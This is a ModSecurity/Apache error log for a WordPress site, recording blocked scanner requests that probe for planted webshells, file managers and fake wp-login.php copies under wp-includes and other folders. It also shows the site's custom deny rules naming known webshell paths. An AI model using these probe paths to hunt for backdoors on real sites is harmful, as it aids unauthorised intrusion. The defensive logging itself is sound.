[Fri Nov 21 16:52:41.929229 2025] [:error] [pid 25521:tid 25526] [client 45.132.227.67:21965] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSAoWfhXnBMilDddn3X9pwAAAMM"]
[Fri Nov 21 16:52:43.669495 2025] [:error] [pid 25554:tid 25582] [client 45.132.227.57:23723] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSAoWx-NtB-9AzFZrk5qcgAAARg"]
[Fri Nov 21 16:52:45.421716 2025] [:error] [pid 46939:tid 46959] [client 172.98.32.76:45245] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSAoXe0OmVoxD4VZ_ZmOXwAAAVE"]
[Fri Nov 21 16:52:47.600997 2025] [:error] [pid 25430:tid 25476] [client 136.144.42.70:63377] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSAoX6pnWJcWt_4foXlW5wAAAFA"]
[Fri Nov 21 16:52:50.251699 2025] [:error] [pid 25429:tid 25446] [client 45.132.227.53:42693] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSAoYj4rZbRSr7vu-NO8RAAAAA0"]
[Fri Nov 21 16:52:51.544655 2025] [:error] [pid 25521:tid 25546] [client 45.132.227.58:41321] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSAoY_hXnBMilDddn3X9sQAAANc"]
[Fri Nov 21 16:52:59.414889 2025] [:error] [pid 25430:tid 25462] [client 45.132.227.60:38147] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSAoa6pnWJcWt_4foXlXGQAAAEI"]
[Fri Nov 21 16:53:00.280924 2025] [:error] [pid 25430:tid 25465] [client 136.144.42.79:49817] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSAobKpnWJcWt_4foXlXGwAAAEU"]
[Fri Nov 21 16:53:01.157194 2025] [:error] [pid 25430:tid 25467] [client 172.98.32.100:34767] [client 172.98.32.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.100, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSAobapnWJcWt_4foXlXIQAAAEc"]
[Fri Nov 21 16:53:02.046953 2025] [:error] [pid 25430:tid 25475] [client 172.98.32.100:34767] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSAobqpnWJcWt_4foXlXJgAAAE8"]
[Fri Nov 21 16:53:03.794859 2025] [:error] [pid 25430:tid 25462] [client 172.98.32.81:22399] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSAob6pnWJcWt_4foXlXKQAAAEI"]
[Fri Nov 21 16:53:04.691498 2025] [:error] [pid 25554:tid 25568] [client 45.132.227.60:41959] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSAocB-NtB-9AzFZrk5qlgAAAQo"]
[Fri Nov 21 16:53:07.294583 2025] [:error] [pid 25431:tid 25494] [client 136.144.42.73:60039] [client 136.144.42.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSAoc8klhXxmoIExII1MMQAAAIc"]
[Fri Nov 21 16:53:08.158069 2025] [:error] [pid 25521:tid 25523] [client 45.132.227.54:34097] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSAodPhXnBMilDddn3X9vwAAAMA"]
[Fri Nov 21 16:53:11.238313 2025] [:error] [pid 25521:tid 25538] [client 172.98.32.78:37555] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSAod_hXnBMilDddn3X9ygAAAM8"]
[Fri Nov 21 16:53:13.017296 2025] [proxy_fcgi:error] [pid 46939:tid 46966] [client 172.98.32.89:49233] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:53:13.880516 2025] [:error] [pid 46939:tid 46948] [client 172.98.32.89:49233] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSAoee0OmVoxD4VZ_ZmOzwAAAUY"]
[Fri Nov 21 16:53:14.761460 2025] [:error] [pid 25429:tid 25442] [client 172.98.32.85:25053] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSAoej4rZbRSr7vu-NO8ZgAAAAk"]
[Fri Nov 21 16:53:16.501638 2025] [:error] [pid 25521:tid 25532] [client 45.132.227.52:30681] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSAofPhXnBMilDddn3X91gAAAMk"]
[Fri Nov 21 16:53:17.394226 2025] [:error] [pid 25431:tid 25510] [client 136.144.42.75:52449] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSAofcklhXxmoIExII1MPwAAAJc"]
[Fri Nov 21 16:53:21.307689 2025] [:error] [pid 46939:tid 46949] [client 172.98.32.76:31365] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSAoge0OmVoxD4VZ_ZmO8wAAAUc"]
[Fri Nov 21 16:53:22.171862 2025] [:error] [pid 25554:tid 25573] [client 45.132.227.63:59631] [client 45.132.227.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aSAogh-NtB-9AzFZrk5qvgAAAQ8"]
[Fri Nov 21 16:53:24.812034 2025] [:error] [pid 46939:tid 46943] [client 45.132.227.52:47913] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSAohO0OmVoxD4VZ_ZmPLgAAAUE"]
[Fri Nov 21 16:53:25.671510 2025] [:error] [pid 25429:tid 25444] [client 172.98.32.80:51473] [client 172.98.32.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSAohT4rZbRSr7vu-NO8egAAAAs"]
[Fri Nov 21 16:53:26.532111 2025] [:error] [pid 25431:tid 25493] [client 172.98.32.85:57803] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSAohsklhXxmoIExII1MYAAAAIY"]
[Fri Nov 21 16:53:29.587724 2025] [:error] [pid 46939:tid 46954] [client 136.144.42.70:65303] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aSAoie0OmVoxD4VZ_ZmPQwAAAUw"]
[Fri Nov 21 16:53:30.892910 2025] [:error] [pid 25429:tid 25445] [client 136.144.42.70:48085] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSAoij4rZbRSr7vu-NO8fgAAAAw"]
[Fri Nov 21 16:53:34.849017 2025] [:error] [pid 25430:tid 25476] [client 172.98.32.81:30835] [client 172.98.32.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.81, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aSAojqpnWJcWt_4foXlXXgAAAFA"]
[Fri Nov 21 16:53:37.491264 2025] [:error] [pid 25430:tid 25466] [client 172.98.32.81:30835] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSAokapnWJcWt_4foXlXaQAAAEY"]
[Fri Nov 21 16:53:38.355754 2025] [:error] [pid 46939:tid 46959] [client 45.132.227.56:34487] [client 45.132.227.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.227.56, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aSAoku0OmVoxD4VZ_ZmPZwAAAVE"]
[Fri Nov 21 16:53:43.194468 2025] [proxy_fcgi:error] [pid 46939:tid 46943] [client 45.132.227.56:34487] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:53:49.775661 2025] [:error] [pid 46939:tid 46950] [client 45.132.227.56:34487] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSAone0OmVoxD4VZ_ZmPngAAAUg"]
[Fri Nov 21 16:53:51.953814 2025] [:error] [pid 25431:tid 25507] [client 172.98.32.89:62637] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSAon8klhXxmoIExII1MjwAAAJQ"]
[Fri Nov 21 16:53:53.689991 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.94:63439] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aSAooe0OmVoxD4VZ_ZmPqgAAAUM"]
[Fri Nov 21 16:53:58.492810 2025] [:error] [pid 25429:tid 25438] [client 172.98.32.78:63295] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aSAopj4rZbRSr7vu-NO8vwAAAAU"]
[Fri Nov 21 16:54:00.234704 2025] [:error] [pid 25521:tid 25536] [client 45.132.227.56:46999] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSAoqPhXnBMilDddn3X-WQAAAM0"]
[Fri Nov 21 16:54:01.565152 2025] [:error] [pid 25430:tid 25464] [client 136.144.42.79:32987] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSAoqapnWJcWt_4foXlXoAAAAEQ"]
[Fri Nov 21 16:54:04.208435 2025] [proxy_fcgi:error] [pid 25554:tid 25558] [client 45.132.227.64:58423] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:54:04.646303 2025] [proxy_fcgi:error] [pid 25554:tid 25565] [client 45.132.227.64:58423] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:54:05.357119 2025] [:error] [pid 25554:tid 25579] [client 45.132.227.64:58423] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSAorR-NtB-9AzFZrk5rIQAAARU"]
[Fri Nov 21 16:54:06.226806 2025] [:error] [pid 46939:tid 46959] [client 136.144.42.80:37873] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSAoru0OmVoxD4VZ_ZmPygAAAVE"]
[Fri Nov 21 16:54:10.184639 2025] [:error] [pid 46939:tid 46963] [client 172.98.32.85:33805] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aSAosu0OmVoxD4VZ_ZmP3wAAAVU"]
[Fri Nov 21 16:54:11.485538 2025] [:error] [pid 25521:tid 25537] [client 172.98.32.91:61873] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aSAos_hXnBMilDddn3X-egAAAM4"]
[Fri Nov 21 16:54:13.667621 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.86:51251] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSAote0OmVoxD4VZ_ZmP9AAAAUM"]
[Fri Nov 21 16:54:17.619210 2025] [:error] [pid 46939:tid 46952] [client 45.132.227.57:62411] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aSAoue0OmVoxD4VZ_ZmQEQAAAUo"]
[Fri Nov 21 16:54:18.487343 2025] [proxy_fcgi:error] [pid 25554:tid 25569] [client 45.132.227.60:43809] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:54:19.795363 2025] [:error] [pid 25554:tid 25563] [client 45.132.227.60:43809] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aSAoux-NtB-9AzFZrk5rWQAAAQU"]
[Fri Nov 21 16:54:22.907623 2025] [proxy_fcgi:error] [pid 46939:tid 46952] [client 172.98.32.88:35493] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:54:23.795204 2025] [:error] [pid 46939:tid 46962] [client 172.98.32.88:35493] [client 172.98.32.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.88, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aSAov-0OmVoxD4VZ_ZmQIAAAAVQ"]
[Fri Nov 21 16:54:25.974955 2025] [:error] [pid 46939:tid 46964] [client 172.98.32.88:35493] [client 172.98.32.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aSAowe0OmVoxD4VZ_ZmQKAAAAVY"]
[Fri Nov 21 16:54:27.335461 2025] [:error] [pid 25430:tid 25471] [client 136.144.42.74:22363] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSAow6pnWJcWt_4foXlX8QAAAEs"]
[Fri Nov 21 16:54:29.952605 2025] [:error] [pid 46939:tid 46960] [client 45.132.227.59:42229] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aSAoxe0OmVoxD4VZ_ZmQMQAAAVI"]
[Fri Nov 21 16:54:32.569486 2025] [:error] [pid 25431:tid 25492] [client 136.144.42.74:36249] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aSAoyMklhXxmoIExII1NKQAAAIU"]
[Fri Nov 21 16:54:33.881097 2025] [:error] [pid 25431:tid 25495] [client 172.98.32.83:56387] [client 172.98.32.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSAoycklhXxmoIExII1NLQAAAIg"]
[Fri Nov 21 16:54:36.057367 2025] [:error] [pid 25431:tid 25499] [client 45.132.227.64:39747] [client 45.132.227.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aSAozMklhXxmoIExII1NNQAAAIw"]
[Fri Nov 21 16:54:37.791491 2025] [proxy_fcgi:error] [pid 25521:tid 25526] [client 136.144.42.73:64309] AH01071: Got error 'Primary script unknown'
